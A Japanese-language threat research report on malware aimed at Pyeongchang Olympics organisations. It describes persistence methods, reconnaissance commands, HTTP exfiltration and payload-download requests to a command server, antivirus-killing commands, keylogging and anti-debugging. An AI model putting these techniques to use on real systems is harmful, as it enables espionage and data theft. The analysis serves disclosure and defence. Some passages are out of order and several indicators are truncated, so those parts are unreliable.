マカフィーの調査チームであるMcAfee Advanced Threat Research (ATR)は最近、平昌オリンピックに関係する組織を狙うファイルレス攻撃についての報告を発表しました。 この攻撃では、PowerShellスクリプトを使用して攻撃者のサーバーへの経路を確立し、基本的なシステムレベルのデータを収集していました。この報告をした当時は、攻撃側がターゲットのシステムにアクセスした後に何が起きたかというところまでは断定できていませんでした。
McAfee ATRは、継続的なデータの収集と標的へのアクセスを確実なものとするための新たな証拠となるスクリプトを発見しました。我々は、2017年12月に出現したこれらのスクリプトを、コード内で使用されているフレーズをもとにGold Dragon、Brave Prince、Ghost419、Running Ratと名付けました。
2017年12月24日、我々のアナリストは韓国語のスクリプトであるGold Dragonを観測しました。我々はこのスクリプトが、2018年1月6日にATRが発見したオリンピックを標的とした攻撃の第二段階のペイロードであると確信しています。オリンピックへの攻撃で使われたPowerShellスクリプトは、攻撃側のサーバーへの暗号化された経路を確立するPowerShell Empire フレームワークを使用した経験者でした。
しかし、このスクリプトは、十分に機能するバックドアとして実行されるには追加のモジュールが必要でした。また、このPowerShellスクリプトには、単純にスケジュールされたタスクを超えて継続的に活動するためのメカニズムを備えていませんでした。Gold Dragonは初期のPowerShellスクリプトよりもはるかに協力な持続メカニズムを備え、攻撃側がターゲットとしたシステムにより多くのことを実行できるようになっています。そして、Gold Dragonは、オリンピックを標的とした攻撃キャンペーンが始まった同じ日に再度登場したのです。
Gold Dragonマルウェアは、標的とするシステムをプロファイリングし、その結果をコントロールサーバーに送信するためにその機能を拡張しているようです。PowerShellスクリプトは、ユーザー名、ドメイン、マシン名、ネットワーク構成などの基本的なデータ収集機能しかありませんでしたが、これらは興味をそそるターゲットを特定し、さらに複雑なマルウェアを送り込むのに有効なものです。
1.Gold Dragon
Gold Dragonは、12月24日以降に“野生”(特定環境下ではなく、一般的な場所)で観測されたデータ収集スクリプトです。Gold Dragonという名称は、サンプル全体を通して発見された、変更不可能なドメインwww.golddragon.comに因んでつけられました。
ここで紹介しているサンプルは、マルウェア感染後に送りこまれるペイロードとその後に続く一連のペイロードのための偵察ツールならびにダウンローダーとして機能します。Gold Dragonは、コントロールサーバーから実行可能なファイルをダウンロードして実行するだけでなく、スクリプトがシステムから取得したデータを暗号化するためのキーを生成します。 しかし、ここにあるURLは制御に使用されるわけではなく、暗号化されたデータは、ink.inkboom.co.krのサーバーに送信されますが、このURLは2017年5月に使用されたスクリプトで使用されたサーバーでした。
Gold Dragonには、Ghost419やBrave Princeなどのスクリプトに類似した要素・コード・動作が含まれており、それらは我々が2017年5月以来追跡しているものです。12月21日(最初に悪意あるオリンピック関連文書が発見された日)に作成されたDLLベースのスクリプトは、12月24日に作成されたGold Dragon亜種によってダウンロードされたものでした。そして、この亜種は、前回報告された333もの標的に送られ、2番目の文書が添付された標的型フィッシングメールの3日前に作成されたものでした。Gold Dragonの12月24日版の亜種は、nid-help-pchange.atwebpages.comというコントロールサーバーを使用しており,それは12月21日のBrave Princeにも使用されていました。
Gold Dragonの最初の亜種は、2017年7月に韓国で野生のマルウェアとして発見されました。オリジナルのGold Dragonは、韓国語の한글추출.exeというファイル名を持ち、Hangul Extractionと名付けられてて韓国内だけで発見されたものですが、12月24日にコンパイルされたGold Dragonの5つの亜種は、オリンピック関連組織を狙う攻撃の最中に多数発見されしています。
2.Gold Dragonの解析
初期のGold Dragonは以下のような挙動をしました。
- 複数のライブラリから複数のAPIを動的にロードすることで自身のインポート経路を構築する
- 自身のプロセスとして、他のプロセスに常駐するリモートメモリを読み取るためのデバッグ特権(“SeDebugPrivilege”)を取得する
マルウェアは、それ自体が標的となったシステム内での持続性を確立するものではありませんが、もしシステム上に別のコンポーネントが存在する場合、その別のコンポーネントの持続性を確立します。
マルウェアは、システム上で実行されている韓国語の代表的なワープロソフトであるHangul word processor (HWP)のインスタンスを探すことから始まります。
-もしシステム上でHWP.exeの実行が見つかった場合、マルウェアは、HWP.exeに渡されたコマンドライン引数からファイルパスを抽出することにより、現在HWP上で開かれているファイルを検出します。
-この単語ファイル(通常は*.hwp)は、一時ファイルパス
<username>C:\ DOCUME~1 \ <username> \ LOCALS~1 \ Temp \ 2.hwp</username>
にコピーされます。
- hwpは、HWP.exeにロードされたファイルのコピーそのものです。
- マルウェアは2.hwpの内容を読み取り、”JOYBERTM”という文字列で示されるファイルの中の”MZ magic marker”を検出する。
- このマーカーは、.hwpファイル内の暗号化されたMZマーカーの存在を確認した後、マルウェアによって復号され、ユーザーのStartupフォルダに書き込まれる:
C:\Documents and Settings\<username>\Start Menu\Programs\Startup\viso.exe </username>
- この手順は、エンドポイントの再起動後もマルウェアの持続性を確立する。
マルウェアはいくつかの理由により、このアクティビティを実行する必要があると考えて
- 復号されたMZマーカーがStartupフォルダに書き込まれると、2.hwpはエンドポイントから削除される。
います。
- エンドポイントでの持続性を確立する
- エンドポイントのマルウェアの他のコンポーネントの持続性を確立する
- 別のアップデートを実行するコンポーネントがコントロールサーバーからアップデートをダウンロードした後に、エンドポイントで自身を更新する
マルウェアは、限られた偵察やデータ収集の機能を備えているだけで、本格的スパイウェアではありません。エンドポイントから収集された情報は、まず次のファイルに格納された後、暗号化され,制御サーバーに送信されます:
- C:\ DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp</username>
以下の情報は、エンドポイントから収集された後、ファイル1.hwpに格納され、コントロールサーバーに送信されます。
- 以下のコマンドを使用してユーザーのデスクトップフォルダのディレクトリ一覧を作成
cmd.exe /c dir C:\DOCUME~1\<username>\Desktop\ >>
C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp </username></username>
- 以下のコマンドを使用してユーザーが最近アクセスしたファイルのディレクトリ一覧を作成
cmd.exe /c dir C:\DOCUME~1\<username>\Recent >>
C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp </username></username>
- 以下のコマンドを使用してシステムの%programfiles%フォルダのディレクトリ一覧を作成
cmd.exe /c dir C:\PROGRA~1\ >>
C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp </username>
- 以下のコマンドを使用してエンドポイントのSystemInfoを収集
cmd.exe /c systeminfo >>
C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp </username>
- ファイルixe000.binを
C:\Documents and Settings\<username>\Application Data\Microsoft\Windows\UserProfiles\ixe000.bin
から
C:\DOCUME~1\<username>\APPLIC~1\MICROS~1\HNC\1.hwp
へコピー </username></username>
- 現在のユーザーのRunキー(ならびに収集した情報)のレジストリキーと値の情報
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
サブキーの数
(<keyindex>) <keyname>
親Runキーを含む各キーの下にある数値の数
(<valueindex>) <value_name> <value_content></value_content></value_name></valueindex></keyname></keyindex>
レジストリとシステム情報を含む1.hwpの例:
Gold Dragonは、抽出プロセスで実行されるこれらのステップを実行する。
- マルウェアがエンドポイントから必要なデータを収集し、パスワード“www [dot] GoldDragon [dot] com”を使用してデータファイル1.hwpを暗号化する。
- 暗号化されたコンテンツは、データファイル1.hwpに書き込まれる。
- 抽出プロセスの間、マルウェアは暗号化されたデータをBase64でエンコードし、URL
http:// ink [dot] inkboom.co.kr/host/img/jpg/post.php
へのHTTP POST要求を使用してコントロールサーバーに送信する。
- 要求に使用されるHTTPデータ/パラメータには以下のものが含まれる。
・コンテンツタイプ:multipart / form-data; boundary =- WebKitFormBoundar ywhpFxMBe19cSjFnG <base64でエンコードされ暗号化されたシステム情報>
・ユーザー エージェント:Mozilla / 4.0(MSIE 8.0、Windows NT 6.1、Trident / 4.0、.NET CLR 1.1.4322との互換性)
・受け入れ言語:アメリカ英語
・HTTPバージョン:HTTP / 1.0 </base64でエンコードされ暗号化されたシステム情報>
マルウェアは、コントロールサーバーによって提供される追加コンポーネントをダウンロードして実行することもできます。 追加のコンポーネントをダウンロードするメカニズムは、次のHTTP GET要求の中にあるコントロールサーバーへのマルウェアプロセスによって得られたエンドポイントのコンピュータ名とユーザー名に基づいています。
GET http:// ink [dot] inkboom.co.kr/host/img/jpg/download.php?filename= <Computer_Name>_<username>&continue=dnsadmin
コントロールサーバーからコンポーネントを無事に取得すると、次のステージのペイロードが現ユーザーのApplication Dataディレクトリにコピーされ、実行されます。
C:\ DOCUME~1 \ <username><base64でエンコードされ暗号化されたシステム情報> \ APPLIC~1 \ MICROS~1 \ HNC \ hupdate.ex
( “exe”ではなく “ex”である点に注意) </base64でエンコードされ暗号化されたシステム情報></username>
マルウェアは、マルウェア対策製品に関連する特定のプロセスの存在を確認することで回避行動を実行します。
- キーワード”v3”と”cleaner”を持つプロセスが存在する。
該当する特定のプロセスが見つかった場合、これらのプロセスは、ウィンドウィングスレッドにWM_CLOSEメッセージを送信することにより終了させる。
3.Brave Prince
Brave PrinceはGold Dragonの亜種とコードと動作、特にシステムプロファイリングとコントロールサーバーとの通信メカニズムが似ている韓国語スクリプトです。マルウェアは、ターゲットのシステム構成、ハードドライブの内容、レジストリ、スケジュールされたタスク、実行中プロセスその他多く詳細なログを収集します。 Brave Princeは2017年12月13日に最初に“野生”で発見され、韓国のDaum電子メールサービスを介して攻撃側にログを送信しているのが確認されました。 これ以降の亜種は、Gold Dragonが実行するのと同じ方法で、HTTPポストコマンドを介してWebサーバーにデータを送信していました。
Brave PrinceのDaum亜種は、システムから情報を収集し、ファイルPI_00.datに保存し、このファイルは、攻撃側の電子メールアドレスへ添付ファイルとして送信されます。これ以降の亜種は、HTTPポストコマンドを使用してファイルをWebサーバーにアップロードします。このタイプのスクリプトが被害者のシステムから収集するデータの種類は以下の通りです。
- ディレクトリとファイル
- ネットワーク構成
- ARPキャッシュ
- タスクを収集するためのSystemconfig
Brave Princeの両亜種は、Daumによって作成されたツールによって、悪質なコードをブロックするためのプロセスを強制終了することができます。 そして、このツールは韓国内でのみ確認されています。
- taskkill / f / im daumcleaner.exe
Brave Princeの後期の亜種は、以下の変更不可能な文字列が含まれています。:
- c:\ utils \ c2ae_uiproxy.exe
- c:\users\sales\appdata\local\temp\dwrrypm.dl
4.Ghost419
Ghost419は2017年12月18日に“野生”で初めて登場した韓国語のスクリプトで、最新の事例はオリンピック関連の標的型フィッシングメールの2日前に出現しました。このマルウェアは、コントロールサーバーに送られた変更不可能な文字列とURLパラメータによって識別できます。Ghost419は、ハードコードされた識別子はありませんが、2017年7月29日に作成されたサンプルまで遡ることができます、より以前のバージョンのように思われます。7月バージョンではコードの46%が12月下旬に作成されたサンプルと共用されていおり、この初期バージョンのスクリプトは、1桁目の数字が変更され例外を除いては、12月のサンプルにも表示される固有のミューテックス値(kjie23948_34238958_KJ238742)を生成します。 Ghost419はGold DragonとBrave Princeスクリプトをベースにしており、共通の要素とコード、特にシステム偵察のための機能を共用しています。
アップロード メカニズムの一部である文字列”WebKitFormBoundarywhpFxMBe19cSjFnG”は、2017年12月後半のGold Dragonの亜種にも登場します。
システムの偵察に加え、他にも多くの類似点が存在します:その一例として通信メカニズムはGold Dragonと同じユーザーエージェント文字列を使用しています。
5.RunningRat
RunningRatは、2つのDLLで動作するリモートアクセスのトロイの木馬(RAT)です。この名称は、マルウェアに埋め込まれているハードコーディングされた文字列から名づけられました。システムにドロップされると、最初のDLLが実行さ、そしてこのDLLは、アンチマルウェアの停止、主となるRAT DLLの展開と実行、そして持続性の取得という3つの主機能を提供します。マルウェアはWindowsのバッチファイルdx.batをドロップし,このバッチファイルが韓国のセキュリティプログラムであるdaumcleaner.exeを強制終了させようとします。そしてその後、バッチファイルは自身を削除しようとします。
最初のDLLはzlib解凍アルゴリズムを使い、DLLにアタッチされたリソースファイルを解凍します。 マルウェア作成者は、バイナリコードにデバッグ文字列を残し、アルゴリズムを容易に識別できるようにしています。2番目のDLLはメモリ内で解凍され、ユーザーのファイルシステムには決してアクセスしません。つまりこのファイルが実行される主なRATとなります。最終的に、最初のDLLが、起動時にマルウェアが確実に実行されるよう、SoftWare \ Microsoft \ Windows \ CurrentVersion \ Runにレジストリキー“SysRat”を追加します。
2番目のDLLがメモリにロードされると、最初のDLLはコントロールサーバーのIPアドレスを上書きし、マルウェアと通信するアドレスを効率的に変更しています。このアドレスは、200.200.200.13として2番目のDLLにハードコードされ、最初のDLLによって223.194.70.136に変更されます。
このタイプの動作は、このコードが再利用されているか、マルウェアキットの一部である可能性を示しています。
初のDLLは、SeDebugPrivilegeを確認することで、1つの共通のアンチデバッグ技術を使用しています。
第2のDLLが実行されると、OSのバージョン、ドライバやプロセッサの情報など、標的となったシステムのセットアップに関する情報を収集します。
マルウェアは、ユーザーのキーストロークの履歴を取り、標準のWindowsネットワーキングAPIを使用してコントロールサーバーに送信するという主要機能を開始します。
我々の分析から、キーストロークの記録を盗むことがRunningRatの主な機能であることがわかります。ただし、このDLLは、クリップボードのコピー、ファイルの削除、ファイルの圧縮、イベントログのクリア、機器のシャットダウンやその他多くのコードを含むなど、より広範な機能のコードを含んでいます。しかし、我々の現時点の分析では、それらのコードは実行されていないません。
McAfee ATRのアナリストはRunning Ratを引き続き調査し、この特別なコードが使われているか、またはより上位のRATツールキットの残滓なのかを確認したいと思います。
第2のDLLは、いくつかの追加のアンチデバッグ技術を使用しています。 1つは、例外を生成するように設計された例外ハンドラとコードパスの使用です。
研究者の静的解析を遅らせるために、いくつかのランダムな空のスレッドも存在しています。
最終的なアンチデバッグ技術は、実行時のデバッガによる遅延を検出するためコードのメインセクションに配置されるGetTickCountパフォーマンス カウンターへの対策が含まれています。
6.結論
ATRにより最初に発見されたPowerShellスクリプトは、最初の段階のスクリプトを隠すために画像ステガノグラフィの技術を使用した標的型スピアフィッシングによる攻撃キャンペーンで配布されました。(ステガノグラフィの詳細については、McAfee Labs脅威レポート、2017年6月、33ページをご参照ください)
この調査で対象にしているスクリプトは、PowerShellスクリプトが実行されると、標的となったシステム上に持続的に常駐します。攻撃側がファイルレスマルウェアを使用して最初の足場を確保し、そしてスクリプトは第2弾の攻撃として送られます。一部のスクリプトは、韓国に特有のHangul word processor(HWP)が実行されている場合だけ、その持続性を発揮するものです。
これらのスクリプトの発見により、我々はその攻撃範囲をより詳細に理解することができました。Gold Dragon、Brave Prince、Ghost419、RunningRatは、これまでに知られていたよりもはるかに広い範囲での活動を見せています。 これらのスクリプトから想定される継続的なデータ流出は、オリンピック中に攻撃側に潜在的なメリットをもたらすものであると考えています。
最後に、この調査を支援してくれたCharles CrawfordとAsheer Malhotraに感謝申し上げます。
7.脅威の痕跡
IP
- 70.136
ドメイン
- com
- com
- com
- nid-help-pchange.atwebpages.com
- co.kr
- com
ハッシュ
- fef671c13039df24e1606d5fdc65c92fbc1578d9
- 06948ab527ae415f32ed4b0f0d70be4a86b364a5
- 96a2fda8f26018724c86b275fe9396e24b26ec9e
- ad08a60dc511d9b69e584c1310dbd6039acffa0d
- c2f01355880cd9dfeef75cff189f4a8af421e0d3
- 615447f458463dc77f7ae3b0a4ad20ca2303027a
- bf21667e4b48b8857020ba455531c9c4f2560740
- bc6cb78e20cb20285149d55563f6fdcf4aaafa58
- 465d48ae849bbd6505263f3323e818ccb501ba88
- a9eb9a1734bb84bbc60df38d4a1e02a870962857
- 539acd9145befd7e670fe826c248766f46f0d041
- d63c7d7305a8b2184fff3b0941e596f09287aa66
- 35e5310b6183469f4995b7cd4f795da8459087a4
- 11a38a9d23193d9582d02ab0eae767c3933066ec
- e68f43ecb03330ff0420047b61933583b4144585
- 83706ddaa5ea5ee2cfff54b7c809458a39163a7a
- 3a0c617d17e7f819775e48f7edefe9af84a1446b
- 761b0690cd86fb472738b6dc32661ace5cf18893
- 7e74f034d8aa4570bd1b7dcfcdfaa52c9a139361
- 5e1326dd7122e2e2aed04ca4de180d16686853a7
- 6e13875449beb00884e07a38d0dd2a73afe38283
- 4f58e6a7a04be2b2ecbcdcbae6f281778fdbd9f9
- 389db34c3a37fd288e92463302629aa48be06e35
- 71f337dc65459027f4ab26198270368f68d7ae77
- 5a7fdfa88addb88680c2f0d5f7095220b4bbffc1